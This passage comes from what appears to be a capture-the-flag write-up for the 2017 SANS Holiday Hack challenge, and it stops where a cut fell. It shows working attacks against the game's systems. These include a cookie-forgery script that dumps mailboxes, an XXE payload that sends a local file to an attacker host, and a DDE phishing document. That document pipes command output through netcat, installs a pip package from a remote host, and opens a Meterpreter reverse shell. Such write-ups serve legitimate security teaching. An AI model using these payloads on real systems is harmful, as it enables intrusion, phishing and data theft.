Our next hint is:
The new email system's authentication should be impenetrable. Alabaster was telling me that he came up with his own encryption scheme using AES256, so you know it's secure.
Uh-oh… Coming up with your own cryptography scheme should send up all the red flags.
Happy families are all alike; every unhappy family is unhappy in its own way. – Leo Tolstoy
Empty plaintext encrypted without using HMAC are all alike; Rolling your own crypto makes all cryptographers unhappy. – Justin Azoff
At this point, we suspect that there's some kind of vulnerability in the cryptography being used. Reading on:
AES256? Honestly, I don't know much about it, but Alabaster explained the basic idea and it sounded easy. During decryption, the first 16 bytes are removed and used as the initialization vector or "IV." Then the IV + the secret key are used with AES256 to decrypt the remaining bytes of the encrypted string.
Let's pause for a moment to review what we know so far. The e-mail application uses cookies for authentication.
var acookie = ['IOTECHWEBMAIL',JSON.stringify({"name":username, "plaintext":plaintext, "ciphertext":ciphertext}), { maxAge: 86400000, httpOnly: true, encode: String }]
As we can see from the line above, the cookie contains a username,
some plaintext, and some ciphertext. The cookie_checker
function
takes the encrypted ciphertext, and attempts to decrypt it with a
secret key that only the application has. If the result matches the
plaintext from the cookie, the cookie is authentic:
var plaintext = aes256.decrypt(key, ciphertext); //If the plaintext and ciphertext are the same, then it means the data was encrypted with the same key if (plaintext === thecookie.plaintext) { return callback(true, username); } else { return callback(false, ''); }
The code, as well as Pepper's hints, tell us something about the structure of the ciphertext:
//makes the string into cipher text .... in base64. // When decoded this 21 bytes in total length. 16 bytes for IV and 5 byte of random characters
Finally, Pepper gives us this tantalizing hint:
Hmmm. That's a good question, I'm not sure what would happen if the encrypted string was only 16 bytes long.
By reading the code closely we can see that when the application creates a cookie, the plaintext is 5 random characters. However, nothing in the verification logic requires this. The only check is:
aes256.decrypt(key, ciphertext) === thecookie.plaintext
Let's see what a valid cookie looks like:
$ http --proxy=http:socks5://@localhost:31080 'http://mail.northpolechristmastown.com/' HTTP/1.1 200 OK ... Server: nginx/1.10.3 (Ubuntu) Set-Cookie: EWA={"name":"GUEST","plaintext":"","ciphertext":""}; Max-Age=86400; Path=/; Expires=Wed, 10 Jan 2018 23:37:29 GMT; HttpOnly ...
Let's try what Pepper Minstix suggests: setting our ciphertext to only be 16 characters long. We know that this is base64 encoded, so we'll run:
$ echo -n "Security at NCSA" | base64 U2VjdXJpdHkgYXQgTkNTQQ==
We're using the -n
flag of echo
to not have a newline at the end, which would give us a 17 character length cookie.
$ http --proxy=http:socks5://@localhost:31080 'http://mail.northpolechristmastown.com/' 'Cookie:EWA={"name":"alabaster.snowball@northpolechristmastown.com","ciphertext":"U2VjdXJpdHkgYXQgTkNTQQ==","plaintext":""}' HTTP/1.1 200 OK ... X-Powered-By: Express <script>window.location.href='/account.html'</script>
That looks promising! Let's move from the command line back to Firefox. One easy way to edit cookies in Firefox is to go to Tools \=> Web Developer \=> Storage Inspector. We should see an EWA
cookie in there already, and we can simply double-click the value field and paste in our forged cookie:
{"name":"alabaster.snowball@northpolechristmastown.com","ciphertext":"U2VjdXJpdHkgYXQgTkNTQQ==","plaintext":""}
Now we just reload the page, and we're in!
Figure 20: Logging in with our forged cookie
At this point, we can start digging through Alabaster's e-mail. Soon, we find this email leading us to http://mail.northpolechristmastown.com/attachments/GreatBookPage4_893jt91md2.pdf:
Figure 21: Page 4 E-mail
- An Alternative Solution: Black Box Cracking
Given some of the discussion in the chat, this was one of the hardest questions. This section goes deeper into the cookie creation and validation code, and it offers an alternative solution. Finding
cookie.txt
from therobots.txt
file made this question much easier, but this version lays out the approach to solve this question without that file. Independently, one of our team members used the previous solution, and one used this solution.The Javascript code used is a variation of a challenge response algorithm, but it is flawed in that the client is providing both the challenge and the response. It is also flawed in that it does not use MAC https://en.wikipedia.org/wiki/Authenticated_encryption#MAC-then-Encrypt_(MtE) meaning that the encrypted contents themselves are never verified.
Since we can control both the ciphertext and the expected plaintext, we can just set the challenge to the empty string "" and the response then just needs to be ANY message that decrypts to "". Since the message is empty, the key is irrelevant; we just need to work out how to properly generate a ciphertext that will decrypt to nothing.
A completely empty ciphertext throws an error:
> var aes256 = require('aes256'); > aes256.decrypt('key does not matter', '') TypeError: Provided "encrypted" must be a non-empty string at Object.decrypt (/Users/user/node_modules/aes256/index.js:68:13)
A larger ciphertext works, but gives us a random string, which is not what we want. but we can see that a fairly long cipher text only gives us a few bytes of plaintext…
> aes256.decrypt('key does not matter', 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa') 'F..%=X..'
The difference in the length of the two strings is 24:
> x='aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa' > x.length - aes256.decrypt('key does not matter',x).length 24
From the hints, we learn that some of the bytes are used for the IV.
The AES library won't let us encrypt an empty string, but we can encrypt a single char:
> aes256.encrypt('key does not matter', '') TypeError: Provided "plaintext" must be a non-empty string at Object.encrypt (/Users/user/node_modules/aes256/index.js:39:13) > aes256.encrypt('key does not matter', 'x') 'L7rwNMwISl2chavT6lILlNM=' > aes256.encrypt('key does not matter', 'x').length 24
This gives a ciphertext of length 24 with one byte of = for padding. This means that 22 bytes are used for the IV and one byte is used to encrypt the 'x' itself.
So, at this point it is clear that something interesting happens around 22-24 chars.
Trying different lengths approaching a length of 22 continues to throw an error for a while…
> aes256.decrypt('key does not matter', 'aaaaaaaaaaaaaaaa') TypeError: Provided "encrypted" must be a non-empty string at Object.decrypt (/Users/user/node_modules/aes256/index.js:68:13)
Until the error changes:
> aes256.decrypt('key does not matter', 'aaaaaaaaaaaaaaaaa') Error: Invalid IV length at new Decipheriv (internal/crypto/cipher.js:186:16) at Object.createDecipheriv (crypto.js:106:10) at Object.decrypt (/Users/user/node_modules/aes256/index.js:78:27) > aes256.decrypt('key does not matter', 'aaaaaaaaaaaaaaaaaa') Error: Invalid IV length at new Decipheriv (internal/crypto/cipher.js:186:16) at Object.createDecipheriv (crypto.js:106:10) at Object.decrypt (/Users/user/node_modules/aes256/index.js:78:27) > aes256.decrypt('key does not matter', 'aaaaaaaaaaaaaaaaaaa') Error: Invalid IV length at new Decipheriv (internal/crypto/cipher.js:186:16) at Object.createDecipheriv (crypto.js:106:10) at Object.decrypt (/Users/user/node_modules/aes256/index.js:78:27) > aes256.decrypt('key does not matter', 'aaaaaaaaaaaaaaaaaaaa') Error: Invalid IV length at new Decipheriv (internal/crypto/cipher.js:186:16) at Object.createDecipheriv (crypto.js:106:10) at Object.decrypt (/Users/user/node_modules/aes256/index.js:78:27) > aes256.decrypt('key does not matter', 'aaaaaaaaaaaaaaaaaaaaa') Error: Invalid IV length at new Decipheriv (internal/crypto/cipher.js:186:16) at Object.createDecipheriv (crypto.js:106:10) at Object.decrypt (/Users/user/node_modules/aes256/index.js:78:27) > aes256.decrypt('key does not matter', 'aaaaaaaaaaaaaaaaaaaaaa') '' > 'aaaaaaaaaaaaaaaaaaaaaa'.length 22 > aes256.decrypt('key really does not matter', 'aaaaaaaaaaaaaaaaaaaaaa') ''
Success! A string of any 22 chars will decrypt to the empty string.
An alternative approach would be to edit the AES library and comment out this block:
if (typeof plaintext !== 'string' || !plaintext) { throw new TypeError('Provided "plaintext" must be a non-empty string'); }
With the throw commented out, we can encrypt an empty string:
> var aes256 = require('aes256'); > aes256.encrypt('whatever', '') 'SStLU1QxLjmtG/Ea8hMH0Q==' > ct=aes256.encrypt('whatever', '') 'tYcVb4PRsdq4JWl5XMSNgw==' > aes256.decrypt('a different key entirely', ct) '' > ct.length 24
The length is different (24 instead of 22), but only because it is padded with 2 bytes of == for base64 purposes.
- Tool Development
We created a script,
ewa.py
, which will forge a cookie to login as a user, and then dump all the e-mails as JSON. In order to do this, we relied heavily on http://mail.northpolechristmastown.com/js/custom.js to see how the API worked, and duplicated portions of it in Python. This script allowed us to archive and search e-mails, which was useful for future questions.Here is the script:
#!/usr/bin/env python3 import binascii import requests import sys import json import os PROXY = "socks5h://localhost:31080" class EWA: def __init__(self, host='http://mail.northpolechristmastown.com'): self.host = host ses = requests.session() ses.proxies = { "http": PROXY, } self.ses = ses def make_cookies(self, username): if '@' not in username: username = "{}@northpolechristmastown.com".format(username) cookies = {'EWA': json.dumps({ 'name': username, 'plaintext': '', 'ciphertext': 'aaaaaaaaaaaaaaaaaaaaaa', })} return cookies def getmail(self, username): cookies = self.make_cookies(username) resp = self.ses.post(self.host + "/api.js", data={"getmail": "getmail"}, cookies=cookies, ) resp.raise_for_status() return resp.json() def upload(self, username, filename): cookies = self.make_cookies(username) basename = os.path.basename(filename) with open(filename, 'rb') as f: # http://docs.python-requests.org/en/master/user/quickstart/#post-a-multipart-encoded-file files = {'sampleFile': (basename, f, 'application/vnd.openxmlformats-officedocument.wordprocessingml.document')} resp = self.ses.post(self.host + "/upload", cookies=cookies, files=files) body = resp.text #extract the link. The link is the one string between quotes that contains http #body looks like like: #<html><h1 style="text-align: center;">File Uploaded and link Attached!</h1><script>window.setTimeout(function() # {window.location.href = '/upload.js'}, 2000);</script><script>localStorage.setItem("file_link", # "http://mail.northpolechristmastown.com/attachments/DaM5HE08t7cynFqztM0a4VcVg8CBU2Gs7HprLQWzsdnSCRuj5L__cookies.docx");</script></html> links = [frag for frag in body.split('"') if 'http' in frag] return links[0] def send_mail(self, from_email, to_email, subject, message): message = binascii.hexlify(message.encode('utf-8')) cookies = self.make_cookies(from_email) resp = self.ses.post(self.host + "/api.js", data={ "from_email": from_email, "to_email": to_email, "subject_email": subject, "message_email": message, }, cookies=cookies, ) resp.raise_for_status() return resp.json() if __name__ == "__main__": username = sys.argv[1] m = EWA() mail = m.getmail(username) print(json.dumps(mail, indent=True))
And the script in action:
$ ./ewa.py alabaster.snowball > alabaster_inbox.json $ cat alabaster_inbox.json | jq '.INBOX[].HEADERS.body.subject' -c ["Welcome"] ["Re: Welcome"] ["Re: gingerbread cookie recipe"] ["COOKIES!"] ["Re: COOKIES!"] ["Re: COOKIES!"] ["Re: COOKIES!"] ["Re: COOKIES!"] ["Re: COOKIES!"] ["Christmas Party!"] ["Re: Christmas Party!"] ["Re: Christmas Party!"] ["Re: Christmas Party!"] ["Re: Christmas Party!"] ["Should we be worried?"] ["Re: Should we be worried?"] ["Re: Should we be worried?"] ["Lost book page"] ["Re: Lost book page"] ["Re: Lost book page"] ["Re: Lost book page"]
Solution
Alabaster Snowball had a vulnerability in his cookie validation code, where he wasn't verifying the length of the decrypted text. AES will encrypt an empty string as an empty string, so we can forge a cookie without needing to know the key. With this forged cookie, we can login to Alabaster's e-mail, and find an e-mail with a link to the page we're looking for.
NPPD: Naughty Moles
Question
How many infractions are required to be marked as naughty on Santa's Naughty and Nice List? What are the names of at least six insider threat moles? Who is throwing the snowballs from the top of the North Pole Mountain and what is your proof?
Minty Candycane offers some tips for this challenge in the North Pole and Beyond.
Background Information
I have a very important job at the North Pole: GDPR compliance officer. Mostly I handle data privacy requests relating to Santa's naughty and nice list. I maintain the documents for compliance on the North Pole file store server.
The North Pole Police Department works closely with Santa on the naughty and nice list infractions. Mild naughty events are "1 coal" infractions, but can reach as high as "5 coal" level.
I'm still a little shaken up from when I had to call them in the other day. Two elves started fighting, pulling hair, and throwing rocks. There was even a super atomic wedgie involved! Later we were told that they were Munchkin Moles, though I'm still not sure I can believe that.
Unrelated, but: have you had the pleasure of working with JSON before? It's an easy way to programmatically send data back and forth over a network. There are simple JSON import/export features for almost every programming language!
One of the conveniences of working with JSON is that you can edit the data files easily with any text editor. There are lots of online services to convert JSON to other formats too, such as CSV data. Sometimes the JSON files need a little coaxing to get the data in the right format for conversion, though.
We need to answer 3 questions involving infractions, insider moles and who is throwing snowballs. We need 4 things to answer these questions.
- We need data from the North Pole Police Department's infractions page.
- We need the naughty and nice list from the SMB server that we accessed from question 3.
- We need the Munchkin Mole Report BOLO also on the SMB server.
- We need to complete the "Bumble's Bounce" level on the WebGL game in order to unlock a chat from Sam.
Goal
- To identify what factors trigger a 'naughty' flag.
- To identify the six insider threat moles.
- To identify who is throwing snow balls.
Approach
Playing around with the infractions page we can see that once you do a search a "Download" option becomes available to download all the search results in JSON format. Let's automate this to create a local copy of all the data. We can do this searching for all results before and during a specific date, and all results after that date. We then combine those results into a single file. We can automate this with a script we'll call nppd.py
.
#!/usr/bin/env python3 import requests import json BASE = "http://nppd.northpolechristmastown.com/" def search_infractions(query): url = BASE + "infractions" params = { "json": "1", "query": query, } resp = requests.get(url, params=params).json() return resp['infractions'] def download_infractions(): old = search_infractions("date <= 2017-12-10") recent = search_infractions("date > 2017-12-10") all_infractions = old+recent print("Old infractions", len(old)) print("Recent infractions", len(recent)) print("Total infractions", len(all_infractions)) with open("infractions.json", 'w') as f: json.dump(all_infractions, f, indent=4) if __name__ == "__main__": download_infractions()
Calling nppd.py
creates a file 'infractions.json'. Now that we have
the NPPD's infractions database we need compare it to the Naughty and
Nice file we found on the SMB server. We can automate this process
scriptomagically. While we're at it we should also script identifying
the 6 insider threat moles as well. For finding the moles it appears
their characteristics are pulling hair and throwing rocks. One caveat
here is that there are two separate infractions for throwing rocks:
"Throwing rocks (non-person target)" and "Throwing rocks (at
people)". We'll include both, since we'd rather have a false positive
than a false negative at this point in our investigation. We'll try
to identify people on the infractions list that pull hair, and throw
rocks, regardless of their target.
To get the number of infractions needed to get onto the naughty list we take the names on the Naughty and Nice List that have been marked as "Naughty" and count the total number of infractions for those people and we identify the lowest number of infractions per person amongst all of them.
So to automate all this we'll create a script which we'll call analyze_infractions.py
to correlate our data.
#!/usr/bin/env python3 import csv import json from operator import itemgetter from collections import defaultdict WANT = set(['Aggravated pulling of hair', 'Throwing rocks (at people)', 'Throwing rocks (non-person target)']) def get_naughty(): with open("../support_files/FileStore/Naughty and Nice List.csv") as f: reader = csv.reader(f) rows = list(reader) return [name for (name, naughty) in rows if naughty == 'Naughty'] def main(): byname = defaultdict(set) infraction_count_byname = defaultdict(int) with open("../output/infractions.json") as f: infractions = json.load(f) for i in infractions: byname[i['name']].add(i['title']) infraction_count_byname[i['name']] += 1 print("Six insider threat moles:") for n, titles in byname.items(): if len(titles & WANT) >= 2: print("*", n,titles) ############# min_infractions = min(infraction_count_byname[name] for name in get_naughty()) print() print("How many infractions are required to be marked as naughty on Santa's Naughty and Nice List:", min_infractions) if __name__ == "__main__": main()
After we run our script we get these results:
Six insider threat moles: Isabel Mehta {'Tantrum in a private facility', 'Aggravated pulling of hair', 'Throwing rocks (non-person target)'} Nina Fitzgerald {'Giving super atomic wedgies', 'Aggravated pulling of hair', 'Throwing rocks (at people)', 'Possession of unlicensed slingshot', 'Bedtime violation'} Kirsty Evans {'Giving super atomic wedgies', 'Aggravated pulling of hair', 'Throwing rocks (at people)', 'Crayon on walls'} Sheri Lewis {'Throwing rocks (at people)', 'Aggravated pulling of hair', 'Possession of unlicensed slingshot', 'Naughty words'} Beverly Khalil {'Aggravated pulling of hair', 'Throwing rocks (at people)', 'Playing with matches', 'Possession of unlicensed slingshot', 'General sassing'} Christy Srivastava {'Tantrum in a private facility', 'Aggravated pulling of hair', 'Tantrum in public', 'Throwing rocks (non-person target)'} How many infractions are required to be marked as naughty on Santa's Naughty and Nice List: 4
Finally, once we play through the Bumble's Bounce level and get all achievements this chat gets unlocked and we have our answer for who is throwing snowballs.
Solution
It appears we need 4
infractions to make the Naughty list.
Our six insider moles appear to be:
- Isabel Mehta
- Nina Fitzgerald
- Kirsty Evans
- Sheri Lewis
- Beverly Khalil
- Christy Srivastava
In addition, we've already identified:
- Bini Aru
- Boq Questrian
According to the unlocked chat with Sam, the person throwing snowballs is the Abominable Snow Monster, but maybe under someone else's control.
EaaS: XML, XXE, and DTD – Oh My!
Question
The North Pole engineering team has introduced an Elf as a Service (EaaS) platform to optimize resource allocation for mission-critical Christmas engineering projects at http://eaas.northpolechristmastown.com/. Visit the system and retrieve instructions for accessing The Great Book page from C:\greatbook.txt. Then retrieve The Great Book PDF file by following those directions. What is the title of The Great Book page?
For hints on this challenge, please consult with Sugarplum Mary in the North Pole and Beyond.
Background Information
The Elf As A Service (EAAS) site is a new service we're experimenting with in the North Pole. Previously, if you needed a special engineer for toy production, you would have to write a memo and distribute it to several people for approval. All of that process is automated now, allowing production teams to request assistance through the EAAS site.
The EAAS site uses XML data to manage requests from other teams. There is a sample request layout available that you can download. Teams just customize the XML and submit!
I think some of the elves got a little lazy toward the go-live date for EAAS. The sample XML data doesn't even include a DTD reference.
XML processing can be complex. I saw an interesting article recently on the dangers of external XML entities.
This post is called out in the hints:
Exploiting XXE Vulnerabilities in IIS.NET https://pen-testing.sans.org/blog/2017/12/08/entity-inception-exploiting-iis-net-with-xxe-vulnerabilities
To pull off this attack, we'll need to host a file somewhere that the EaaS system can reach. We can either host it on l2s, in which case we'll use the following blog post for creating a file on that system, which is locked down with rbash
:
A Spot of Tee https://pen-testing.sans.org/blog/2017/12/06/a-spot-of-tee
Alternatively, we could spin up an AWS VM using the instructions in:
Putting My Zero Cents In: Using the Free Tier on Amazon Web Services (EC2) https://pen-testing.sans.org/blog/2017/12/10/putting-my-zero-cents-in-using-the-free-tier-on-amazon-web-services-ec2
The hints are all pretty strongly pointing us towards an XXE vulnerability.
Goal
We want to access C:\greatbook.txt, and then follow those instructions to retrieve a page of the Great Book.
Approach
We'll start with just pulling up the site in a browser:
Figure 23: EaaS Home
Poking around the site a bit, we see that it provides four functions:
- We can view our current Elf order at http://eaas.northpolechristmastown.com/Home/DisplayXML,
- On that same page, we can make a change to our order by uploading a file,
- We can reset the XML file here: http://eaas.northpolechristmastown.com/Home/CreateElfs,
- We can download the XML file here: http://eaas.northpolechristmastown.com/XMLFile/Elfdata.xml
All this XML talk lines up pretty well with the blog post and the hints. Let's see if the EaaS site is vulnerable to XXE.
Following along with the blog post, we'll create a malicious DTD file, borrowing liberally from the SANS post:
<?xml version="1.0" encoding="UTF-8"?> <!ENTITY % stolendata SYSTEM "file:///c:/greatbook.txt"> <!ENTITY % inception "<!ENTITY % sendit SYSTEM 'http://10.142.0.11:8272/?%stolendata;'>">
If we can get the XML parser to use this DTD file, it will read our target text file, then send it to a system that we control. This file doesn't help the parser know how to parse our XML, but we don't really care if it gets parsed correctly or not.
In order to have the XML parser load this DTD file, we'll use the XML example in the blog post:
This example in the blog post had a typo, where the last character was a <
instead of a >
.
<?xml version="1.0" encoding="utf-8"?> <!DOCTYPE demo [ <!ELEMENT demo ANY > <!ENTITY % extentity SYSTEM "http://10.142.0.11:8271/evil.dtd"> %extentity; %inception; %sendit; ] >
This will load our evil.dtd file, then instantiate the necessary
entities. To finish off the attack, we'll need two HTTP services
running. The first will need to serve the evil.dtd file. Python's
SimpleHTTPServer
is the easiest way to do this, and in fact, that's
provided on l2s. We'll create our file, with tee, then start a
server. Ports 8080 and 4444 are very contentious on l2s, so we'll use
non-standard ones instead:
alabaster_snowball@hhc17-apache-struts2:/tmp/asnow.EtweHkIXQZGuoo51RBy2FSyA$ cat | tee evil.dtd <?xml version="1.0" encoding="UTF-8"?> <!ENTITY % stolendata SYSTEM "file:///c:/greatbook.txt"> <?xml version="1.0" encoding="UTF-8"?> <!ENTITY % stolendata SYSTEM "file:///c:/greatbook.txt"> <!ENTITY % inception "<!ENTITY % sendit SYSTEM 'http://1.2.3.4:8272/?%stolendata;'>"> <!ENTITY % inception "<!ENTITY % sendit SYSTEM 'http://1.2.3.4:8272/?%stolendata;'>"> alabaster_snowball@hhc17-apache-struts2:/tmp/asnow.EtweHkIXQZGuoo51RBy2FSyA$ python -m SimpleHTTPServer 8271 Serving HTTP on 0.0.0.0 port 8271 ...
In another terminal, we'll start up a netcat
listener, to capture the response:
alabaster_snowball@hhc17-apache-struts2:/tmp/asnow.sHkbOWKtpdnH8SGpCM2VAMgL$ nc -l -p 8272
With these services in place, we're ready to upload our malicious XML file. Using a web browser, we'll upload our XML file, and then see what happens.
Serving HTTP on 0.0.0.0 port 8271 ... 10.142.0.13 - - [10/Jan/2018 22:26:43] "GET /evil.dtd HTTP/1.1" 200 -
Great, our DTD file was loaded! And checking our netcat
instance:
alabaster_snowball@hhc17-apache-struts2:/tmp/asnow.sHkbOWKtpdnH8SGpCM2VAMgL$ nc -l -p 8272
…nothing. That's disappointing. We've already noticed one typo in the blog. Could it be possible that there was another error? Taking a close look at the image on the page, we notice that part of the DTD file is escaped differently from how the example shows up on the webpage:
Figure 24: DTD File
We'll update our DTD file, so that the percent sign before sendit
is escaped:
<?xml version="1.0" encoding="UTF-8"?> <!ENTITY % stolendata SYSTEM "file:///c:/greatbook.txt"> <!ENTITY % inception "<!ENTITY % sendit SYSTEM 'http://10.142.0.11:8272/?%stolendata;'>">
We'll upload our file one more time, and…
alabaster_snowball@hhc17-apache-struts2:/tmp/asnow.yNLdj0xcg7AZi5v1gYns2lFO$ nc -l -p 8272 GET /?http://eaas.northpolechristmastown.com/xMk7H1NypzAqYoKw/greatbook6.pdf HTTP/1.1 Host: 10.142.0.11:8272 Connection: Keep-Alive
Success! In the GET
request, the text after ?
is the contents of C:\greatbook.txt. If we pull up that URL, we get GreatBookPage6.pdf.
Solution
We upload this XML file:
<?xml version="1.0" encoding="utf-8"?> <!DOCTYPE demo [ <!ELEMENT demo ANY > <!ENTITY % extentity SYSTEM "http://10.142.0.11:8271/evil.dtd"> %extentity; %inception; %sendit; ] >
And this is our DTD:
<?xml version="1.0" encoding="UTF-8"?> <!ENTITY % stolendata SYSTEM "file:///c:/greatbook.txt"> <!ENTITY % inception "<!ENTITY % sendit SYSTEM 'http://10.142.0.11:8272/?%stolendata;'>">
When we upload our XML file, we receive the contents of the target file, and can then download the PDF.
EMI: Going Deep
Question
Like any other complex SCADA systems, the North Pole uses Elf-Machine Interfaces (EMI) to monitor and control critical infrastructure assets. These systems serve many uses, including email access and web browsing. Gain access to the EMI server through the use of a phishing attack with your access to the EWA server. Retrieve The Great Book page from C:\GreatBookPage7.pdf. What does The Great Book page describe?
Shinny Upatree offers hints for this challenge inside the North Pole and Beyond.
Background Information
I'm still a little angry with Alabaster for reprimanding me for a security violation. He still checks his email from the EMI system!
He tells us not to install unnecessary software on systems, but he's running IIS with ASPX services on the EMI server, and Microsoft Office!
Personally, I don't use Microsoft Word. I'll take vim and LaTeX any day. Word does have its advantages though, including some of the Dynamic Data Exchange features for transferring data between applications and obtaining data from external data sources, including executables.
The question gives us a place to start. As we were reviewing the e-mails for Question 4, a few intriguing ones stood out:
From: minty.candycane@northpolechristmastown.com
To: alabaster.snowball@northpolechristmastown.com
Subject: Should we be worried?
Hey Alabaster,
You know I'm a novice security enthusiast, well I saw an article a while ago about regarding DDE exploits that dont need macros for MS word to get command execution.
https://sensepost.com/blog/2017/macro-less-code-exec-in-msword/
Should we be worried about this?
I tried it on my local machine and was able to transfer a file. Here's a poc:
I know your the resident computer engineer here so I wanted to defer to the expert.
:)
-Minty CandyCane.
This certainly seems to line up with the hints that we were given. Alabaster's not worried, however:
Subject: Re: Should we be worried?
Quit worrying Minty,
You have nothing to worry about with me around! I have developed most of the applications in our network including our network defenses. We are are completely secure and impenetrable.
Sincerely,
Alabaster Snowball.
The other e-mails that seemed intriguging were these two, also from Alabaster:
Subject: gingerbread cookie recipe
Hey Mrs Claus,
Do you have that awesome gingerbread cookie recipe you made for me last year? You sent it in a MS word .docx file. I would totally open that docx on my computer if you had that. I would click on anything with the words gingerbread cookie recipe in it. I'm totally addicted and want to make some more.
Thanks,
Alabaster Snowball
Subject: Re: COOKIES!
Awesome, yea if anyone finds that .docx file containing the recipe for "gingerbread cookie recipe", please send it to me in a docx file. Im currently working on my computer and would totally download that to my machine, open it, and click to all the prompts.
Thanks!
Alabaster Snowball.
Figure 26: Artist's Rendering of Alabaster Snowball
Goal
We're trying to craft a malicious .docx file which we'll e-mail to
alabaster.snowball@northpolechristmastown.com via the EWA system. When
Alabaster opens the e-mail on the EMI system, the command that we
embed in the file should get us access to C:\GreatBookPage7.pdf
.
Approach
At this point, we have a pretty good idea of what we need to do. The sensepost blog post gives us some good instructions at how to construct a malicious docx, and we know how to get Alabaster to click on it.
However, there's a slightly easier way. On the SMB FileStor, we found a docx that Shinny created for Wunorse. If we show the fields (Alt+F9 on Windows, Option+F9 on Mac), we see that this document has a DDE field we can just modify.
Shinny told us that the EMI system also runs IIS, so let's just try copying the PDF into the default IIS webroot.
We'll open up MEMO - Calculator Access for Wunorse.docx
, and edit the command to:
DDEAUTO c:\\windows\\system32\\cmd.exe "/k copy C:\\GreatBookPage7.pdf C:\\inetpub\\wwwroot\\4beadb1e-5ddb-4636-98a4-c2dac0f79ab3.pdf"
Then, we use the EWA web interface to send an e-mail to Alabaster, with the document attached. We make sure to include the words "gingerbread," "cookie," and "recipe" in the message body, since he told us that that's what he'll click on.
After we send the message, we wait a few minutes, and soon the file shows up!
Solution
We modified MEMO - Calculator Access for Wunorse.docx
to copy the PDF into the IIS webroot, e-mailed that to Alabaster, then downloaded the copy of the file once it showed up.
Going Deeper – Command Execution
Getting the PDF is cool, but what else can we find on this system? Some of the other e-mails harp on Alabaster having installed netcat
, and having it in his path. Let's run a command, and pipe the result to netcat
, which will send it back to our system:
DDEAUTO c:\\windows\\system32\\cmd.exe "/k dir C:\\ | nc 1.2.3.4 8888"
On our system, we start a netcat
listener:
$ nc -l -p 8888 Volume in drive C has no label. Volume Serial Number is 9454-C240 Directory of C:\ 12/04/2017 08:42 PM 1,053,508 GreatBookPage7.pdf 11/14/2017 07:57 PM <DIR> inetpub 09/12/2016 11:35 AM <DIR> Logs 12/05/2017 05:00 PM <DIR> Microsoft 07/16/2016 01:23 PM <DIR> PerfLogs 11/15/2017 02:35 PM <DIR> Program Files 11/14/2017 08:24 PM <DIR> Program Files (x86) 11/15/2017 03:03 PM <DIR> python 11/14/2017 08:39 PM <DIR> Users 11/30/2017 06:23 PM <DIR> Windows 1 File(s) 1,053,508 bytes 9 Dir(s) 33,072,455,680 bytes free C:\Users\alabaster_snowball\Documents>
Success! At this point, we started working on a way to automate
this. However, more complex commands would often not work, due to
issues with escaping. So instead of using cmd.exe
as our delivery
mechanism, we used Python.
Python is installed on the system, and a simple command that we can run is to install a Python module via pip:
python.exe -m pip install http://1.2.3.4/foo.tar.gz
When pip installs a module, it will run the setup.py
file. By adding
arbitrary Python code to this file, we can execute commands without
needing to worry about encoding them in a Word document, etc.
The end result was writing a complete end-to-end script, which will build a malicious Word document, e-mail it, create a malicious Python module, and use it to download the PDF.
Level 2 – Meterpreter Shell
Originally, the system had Windows Defender enabled, which would block some default Meterpreter payloads
Instead of just downloading the PDF file, we can modify our script to send a Python meterpreter payload.
We start Meterpreter listening on our local system:
$ msfconsole -r python-meterpreter-staged-reverse-tcp-4444-py.rc _ _ / \ /\ __ _ __ /_/ __ | |\ / | _____ \ \ ___ _____ | | / \ _ \ \ | | \/| | | ___\ |- -| /\ / __\ | -__/ | || | || | |- -| |_| | | | _|__ | |_ / -\ __\ \ | | | | \__/| | | |_ |/ |____/ \___\/ /\ \\___/ \/ \__| |_\ \___\ =[ metasploit v4.16.14-dev-140955f ] + -- --=[ 1698 exploits - 969 auxiliary - 299 post ] + -- --=[ 500 payloads - 40 encoders - 10 nops ] + -- --=[ Free Metasploit Pro trial: http://r-7.co/trymsp ] [*] Processing msf_payloads/python-meterpreter-staged-reverse-tcp-4444-py.rc for ERB directives. resource (msf_payloads/python-meterpreter-staged-reverse-tcp-4444-py.rc)> use exploit/multi/handler resource (msf_payloads/python-meterpreter-staged-reverse-tcp-4444-py.rc)> set PAYLOAD python/meterpreter/reverse_tcp PAYLOAD => python/meterpreter/reverse_tcp resource (msf_payloads/python-meterpreter-staged-reverse-tcp-4444-py.rc)> set LHOST 1.2.3.4 LHOST => 1.2.3.4 resource (msf_payloads/python-meterpreter-staged-reverse-tcp-4444-py.rc)> set LPORT 4444 LPORT => 4444 resource (msf_payloads/python-meterpreter-staged-reverse-tcp-4444-py.rc)> set ExitOnSession false ExitOnSession => false resource (msf_payloads/python-meterpreter-staged-reverse-tcp-4444-py.rc)> run -j [*] Exploit running as background job 0. [*] Started reverse TCP handler on 1.2.3.4:4444
Now we use our all-in-one script to send Alabaster our malicious file:
$ ./full_phish.py master Using 1.2.3.4 as external IP Found word/document.xml, rewriting 50793 bytes Before: DEAUTO c:\\windows\\system32\\cmd.exe "/k calc.exe" After: DEAUTO c:\\windows\\system32\\cmd.exe "/k python.exe -m pip install http://1.2.3.4:8888/foo-1.0.tar.gz" File uploaded and available at http://mail.northpolechristmastown.com/attachments/emusQH5oH5K2hzajPFvJbTGMuS__gingerbreadcookierecipe.docx Sending message... {'result': 'Message <f67b9d00-b263-2fdf-f3d1-2d679bbca9f4@northpolechristmastown.com> sent: 250 2.0.0 Ok: queued as 28EF1C356D', 'bool': True} Using 1.2.3.4 as external IP Listening on port 44665 Starting server on port 8888, use <Ctrl-C> to stop Serving request 1 of 1... /foo-1.0.tar.gz foo-1 35.185.57.190 - - [10/Jan/2018 03:14:47] "GET /foo-1.0.tar.gz HTTP/1.1" 200 -
And sure enough, we see a new session in Meterpreter:
msf exploit(handler) > [*] Sending stage (42231 bytes) to 35.185.57.190 [*] Meterpreter session 1 opened (1.2.3.4:4444 -> 35.185.57.190:52319) at 2018-01-10 03:15:51 +0000 msf exploit(handler) > sessions -i 1 [*] Starting interaction with 1... meterpreter > sysinfo Computer : hhc17-smb-server OS : Windows 2016 (Build 14393) Architecture : x64 System Language : en_US Meterpreter : python/windows
Getting Alabaster's Password
Being able to use Meterpreter is nice, but it sure would be cool if we could Remote Desktop, or see if Alabaster's password is in use elsewhere. We'll use Metasploit's SMB Authentication Capture module.
Try to avoid running Metasploit as root. In this case, we'll need to bind to a privileged port (445), but we can use iptables
to redirect our traffic instead:
sudo iptables -A PREROUTING -t nat -p tcp --dport 445 -j REDIRECT --to-port 3445
